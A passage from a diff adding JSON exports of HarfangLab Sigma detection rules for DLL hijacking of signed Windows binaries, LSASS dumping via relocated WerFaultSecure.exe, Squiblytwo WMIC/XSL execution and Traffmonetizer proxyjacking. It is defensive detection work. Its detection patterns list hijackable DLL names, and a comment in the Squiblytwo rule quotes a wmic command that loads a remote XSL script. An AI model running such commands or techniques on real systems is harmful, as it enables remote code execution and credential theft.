+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092694Z",
+  "creation_date": "2026-03-23T11:45:34.092696Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092701Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_recoverydrive.yml",
+  "content": "title: DLL Hijacking via RECOVERYDRIVE.exe\nid: 1a1f6e7a-2498-43ab-a378-5c398ec012d1\ndescription: |\n    Detects potential Windows DLL Hijacking via RECOVERYDRIVE.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://www.hexacorn.com/blog/2015/02/23/beyond-good-ol-run-key-part-28/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'RECOVERYDRIVE.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\reagent.dll'\n            - '\\unattend.dll'\n            - '\\uxtheme.dll'\n            - '\\vssapi.dll'\n            - '\\wdscore.dll'\n            - '\\wimgapi.dll'\n            - '\\winhttp.dll'\n            - '\\wofutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a1f6e7a-2498-43ab-a378-5c398ec012d1",
+  "rule_name": "DLL Hijacking via RECOVERYDRIVE.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via RECOVERYDRIVE.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a5344cf-01b1-4cce-92c3-e46480185079",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086161Z",
+  "creation_date": "2026-03-23T11:45:34.086163Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086168Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_werfaultsecure_unknown_location.yml",
+  "content": "title: WerFaultSecure.exe Executed From a Non-Common Location\nid: 1a5344cf-01b1-4cce-92c3-e46480185079\ndescription: |\n  Detects the execution of WerFaultSecure.exe from non-standard directories outside of System32, SysWOW64, and WinSxS.\n  WerFaultSecure.exe is a Microsoft-signed binary used by Windows for Protected Process error reporting.\n  Attackers can abuse this legitimate tool by copying a vulnerable version of it to alternative locations for process memory dumping, therefore bypassing security controls on protected processes.\n  It is recommended to investigate the parent process and analyze any generated dump files for credential harvesting activities.\nreferences:\n    - https://www.zerosalarium.com/2025/09/Dumping-LSASS-With-WER-On-Modern-Windows-11.html\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2025/09/15\nmodified: 2025/10/01\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'WerFaultSecure.exe'\n\n    filter_legitimate_folder:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    exclusion_serviceprotection:\n        ParentImage: '?:\\Program Files\\ServiceProtection\\ServiceProtection.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'PHARMADATA PTY LTD'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a5344cf-01b1-4cce-92c3-e46480185079",
+  "rule_name": "WerFaultSecure.exe Executed From a Non-Common Location",
+  "rule_description": "Detects the execution of WerFaultSecure.exe from non-standard directories outside of System32, SysWOW64, and WinSxS.\nWerFaultSecure.exe is a Microsoft-signed binary used by Windows for Protected Process error reporting.\nAttackers can abuse this legitimate tool by copying a vulnerable version of it to alternative locations for process memory dumping, therefore bypassing security controls on protected processes.\nIt is recommended to investigate the parent process and analyze any generated dump files for credential harvesting activities.\n",
+  "rule_creation_date": "2025-09-15",
+  "rule_modified_date": "2025-10-01",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a60aaa8-4707-470a-bfa7-fcd2a9b3c464",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586727Z",
+  "creation_date": "2026-03-23T11:45:34.586731Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586739Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wordpad.yml",
+  "content": "title: DLL Hijacking via WORDPAD.exe\nid: 1a60aaa8-4707-470a-bfa7-fcd2a9b3c464\ndescription: |\n    Detects potential Windows DLL Hijacking via WORDPAD.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WORDPAD.EXE'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcrypt.dll'\n            - '\\dataexchange.dll'\n            - '\\msctf.dll'\n            - '\\msxml3.dll'\n            - '\\netprofm.dll'\n            - '\\npmproxy.dll'\n            - '\\uiribbon.dll'\n            - '\\windowscodecs.dll'\n            - '\\edputil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a60aaa8-4707-470a-bfa7-fcd2a9b3c464",
+  "rule_name": "DLL Hijacking via WORDPAD.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WORDPAD.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a6ba792-4593-442a-9a80-d38ce5e97360",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595992Z",
+  "creation_date": "2026-03-23T11:45:34.595996Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596004Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic",
+    "https://attack.mitre.org/techniques/T1220/",
+    "https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates"
+  ],
+  "name": "t1218_squiblytwo.yml",
+  "content": "title: Possible Squiblytwo Attack Detected\nid: 1a6ba792-4593-442a-9a80-d38ce5e97360\ndescription: |\n    Detects the usage of a custom formatter to gain remote execution through WMIC execution.\n    WMIC can take an XSL script to format the data, which may execute a malicious JScript. This technique is also known as Squiblytwo.\n    It is recommended to check for suspicious activities by the current process or any of its children.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic\n    - https://attack.mitre.org/techniques/T1220/\n    - https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates\ndate: 2021/02/08\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1220\n    - attack.t1218\n    - attack.t1059.007\n    - attack.t1047\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.XSL\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # wmic os get /FORMAT:\"http://xxx.xxx.xxx.xxx/keswD.xsl\" (Koadic)\n    selection_1:\n        - Image|endswith: '\\wmic.exe'\n        - OriginalFileName: 'wmic.exe'\n    selection_2:\n        - CommandLine|contains:\n            - '/format '\n            - '/format:'\n            - '/format :'\n            - '/ format:'\n            - '/ format :'\n            - \"/'format':\"\n            - \"/'format' :\"\n            - \"/ 'format':\"\n            - \"/ 'format' :\"\n            - '/\"format\":'\n            - '/\"format\" :'\n            - '/ \"format\":'\n            - '/ \"format\" :'\n\n    exclusion_fp:\n        CommandLine|contains:\n            # Builtins formats\n            - '/format:list'\n            - '/ format:list'\n            - '/format: list'\n            - '/format:table'\n            - '/ format:table'\n            - '/format: table'\n            - '/format:CSV'\n            - '/ format:CSV'\n            - '/format: CSV'\n            - '/format:rawxml'\n            - '/ format:rawxml'\n            - '/format: rawxml'\n            - '/format:mof'\n            - '/ format:mof'\n            - '/format: mof'\n            - '/format:htable'\n            - '/ format:htable'\n            - '/format: htable'\n            - '/format:hform'\n            - '/ format:hform'\n            - '/format: hform'\n            - '/format:texttable'\n            - '/ format:texttable'\n            - '/format: texttable'\n            - '/format:textvaluelist'\n            - '/ format:textvaluelist'\n            - '/format: textvaluelist'\n            - '/format:htable-sortby'\n            - '/ format:htable-sortby'\n            - '/format: htable-sortby'\n            - '/format:value'\n            - '/ format:value'\n            - '/format: value'\n            - \"/format:'lib/csv.xsl'\"\n            - '/format:?:\\Windows\\System32\\wbem\\'  # /format:C:\\Windows\\System32\\wbem\\en-us\\csv\n\n    exclusion_meshagent:\n        # C:\\Program Files\\Mesh Agent\\MeshAgent.exe\n        # ?:\\Program Files (x86)\\Mesh Agent\\MeshAgent.exe\n        # D:\\MeshAgent.exe\n        ParentImage|endswith: '\\MeshAgent.exe'\n        CommandLine:\n            - 'wmic diskdrive LIST BRIEF /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv' # (fr-FR, en-US)\n            - 'wmic PATH Win32_VideoController GET Name,CurrentHorizontalResolution,CurrentVerticalResolution /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv'\n            - 'wmic CPU LIST BRIEF /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv'\n            - 'wmic PARTITION LIST /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv'\n            - 'wmic OS GET /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv'\n            - 'wmic MEMORYCHIP LIST /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv'\n            - 'wmic ComputerSystem get PCSystemType /FORMAT:?:\\Windows\\system32\\wbem\\\\??-??\\csv'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a6ba792-4593-442a-9a80-d38ce5e97360",
+  "rule_name": "Possible Squiblytwo Attack Detected",
+  "rule_description": "Detects the usage of a custom formatter to gain remote execution through WMIC execution.\nWMIC can take an XSL script to format the data, which may execute a malicious JScript. This technique is also known as Squiblytwo.\nIt is recommended to check for suspicious activities by the current process or any of its children.\n",
+  "rule_creation_date": "2021-02-08",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1059.007",
+    "attack.t1218",
+    "attack.t1220"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a7b3a94-a404-42ce-ba50-a9808950b58a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597287Z",
+  "creation_date": "2026-03-23T11:45:34.597290Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597298Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking",
+    "https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_traffmonetizer.yml",
+  "content": "title: Traffmonetizer Executed\nid: 1a7b3a94-a404-42ce-ba50-a9808950b58a\ndescription: |\n    Detects the usage of Traffmonetizer, a tool that allows users to monetize their unused Internet bandwidth by sharing it with companies or services via a peer-to-peer (P2P) network.\n    Attackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\n    It is recommended to verify if the usage of this tool is legitimate.\nreferences:\n    - https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking\n    - https://www.trendmicro.com/en_gb/research/23/b/hijacking-your-bandwidth-how-proxyware-apps-open-you-up-to-risk.html\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2024/09/26\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains: ' start accept --token'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a7b3a94-a404-42ce-ba50-a9808950b58a",
+  "rule_name": "Traffmonetizer Executed",
+  "rule_description": "Detects the usage of Traffmonetizer, a tool that allows users to monetize their unused Internet bandwidth by sharing it with companies or services via a peer-to-peer (P2P) network.\nAttackers can use this tool to perform Proxyjacking, a form of cyber exploitation where an attacker hijacks a user's Internet connection to use it as a proxy server for malicious purposes or illegal monetization.\nIt is recommended to verify if the usage of this tool is legitimate.\n",
+  "rule_creation_date": "2024-09-26",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a8169a6-7d34-4131-9f89-3783ecb9ae0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601095Z",
+  "creation_date": "2026-03-23T11:45:34.601098Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601106Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ieunatt.yml",
+  "content": "title: DLL Hijacking via ieunatt.exe\nid: 1a8169a6-7d34-4131-9f89-3783ecb9ae0c\ndescription: |\n    Detects potential Windows DLL Hijacking via ieunatt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ieunatt.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "1a8169a6-7d34-4131-9f89-3783ecb9ae0c",
+  "rule_name": "DLL Hijacking via ieunatt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ieunatt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "1a8b04c9-09a5-479f-8bf1-4cf580c1eec9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097553Z",
+  "creation_date": "2026-03-23T11:45:34.097555Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097559Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_w32tm.yml",
+  "content": "title: DLL Hijacking via w32tm.exe\nid: 1a8b04c9-09a5-479f-8bf1-4cf580c1eec9\ndescription: |\n    Detects potential Windows DLL Hijacking via w32tm.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'w32tm.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\NTDSAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
